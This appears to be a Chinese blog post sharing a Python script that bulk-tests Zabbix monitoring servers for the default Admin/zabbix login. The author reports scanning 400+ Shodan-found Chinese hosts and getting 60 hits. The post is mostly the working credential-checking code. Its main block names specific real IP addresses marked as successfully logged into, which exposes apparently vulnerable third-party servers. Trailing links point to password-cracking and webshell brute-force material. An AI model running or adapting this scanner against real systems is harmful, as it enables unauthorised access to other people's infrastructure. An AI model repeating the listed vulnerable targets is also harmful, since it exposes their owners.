zabbix初始口令批量检测小脚本

2016-04-23 约 630 字预计阅读 2 分钟

zabbix初始口令批量检测小脚本

xyntax | 2016-04-20 12:57

zabbix初始口令批量检测小脚本

看到这漏洞，WooYun: 奇虎360某IP服务器zabbix弱口令

写了个小脚本做批量。

从shodan拿到国内400+ zabbix的IP，跑出来60个：

源码（含数据）：

https://github.com/Xyntax/POC-T/blob/master/module/zabbix_wp.py

# coding:utf-8

import requests
from bs4 import BeautifulSoup

"""
zabbix 默认口令检测
支持两种zabbix版本

Admin/zabbix

目标发现：shodan
Set-Cookie: zbx_sessionid country:cn

cdxy 16.04.20
"""


def _get_static_post_attr(page_content):
    """
    拿到<input type='hidden'>的post参数，并return
    """
    _dict = {}
    soup = BeautifulSoup(page_content, "html.parser")
    for each in soup.find_all('input'):
        if 'value' in each.attrs and 'name' in each.attrs:
            _dict[each['name']] = each['value']
    return _dict


def info():
    pass


def exp():
    pass


def poc(url):
    h1 = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0',
     }

    h2 = {
        'Referer': url.strip('\n'),
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0',
     }

    blacklist = [
        'incorrect',
        '<!-- Login Form -->',

    ]
    try:
        s = requests.session()
        c = s.get(url, timeout=10, headers=h1)
        dic = _get_static_post_attr(c.content)
        dic['name'] = 'Admin'
        dic['password'] = 'zabbix'
        # print dic
        r = s.post(url + '/index.php', data=dic, headers=h2, timeout=10)
        if 'chkbxRange.init();' in r.content:
            for each in blacklist:
                if each in r.content:
                    return False
            else:
                return True
    except Exception, e:
        # print e
        return False


if __name__ == '__main__':
    url1 = 'http://54.222.167.52/'  # True
    url2 = 'http://180.235.64.209:8080/'  # True
    unsuccess_url = 'http://101.198.161.9'  # False
    print poc('http://106.2.60.133/')

[原文地址]

相关内容：

大家有见过这种远程盗取银行帐号密码的情况么？

关于FTP弱口令扫描的，为什么经常见有人搞一些FTP弱口令扫描？

snmp弱口令引起的信息泄漏

如何设置安全的密码

如何管理并设计你的口令

【转载】Windows 系统密码破解全攻略

国内各类 WebShell 密码大全爆破、社工用 webshell-password

【VC源码】MySql,MsSql弱口令混合扫描利用工具

留言评论（旧系统）：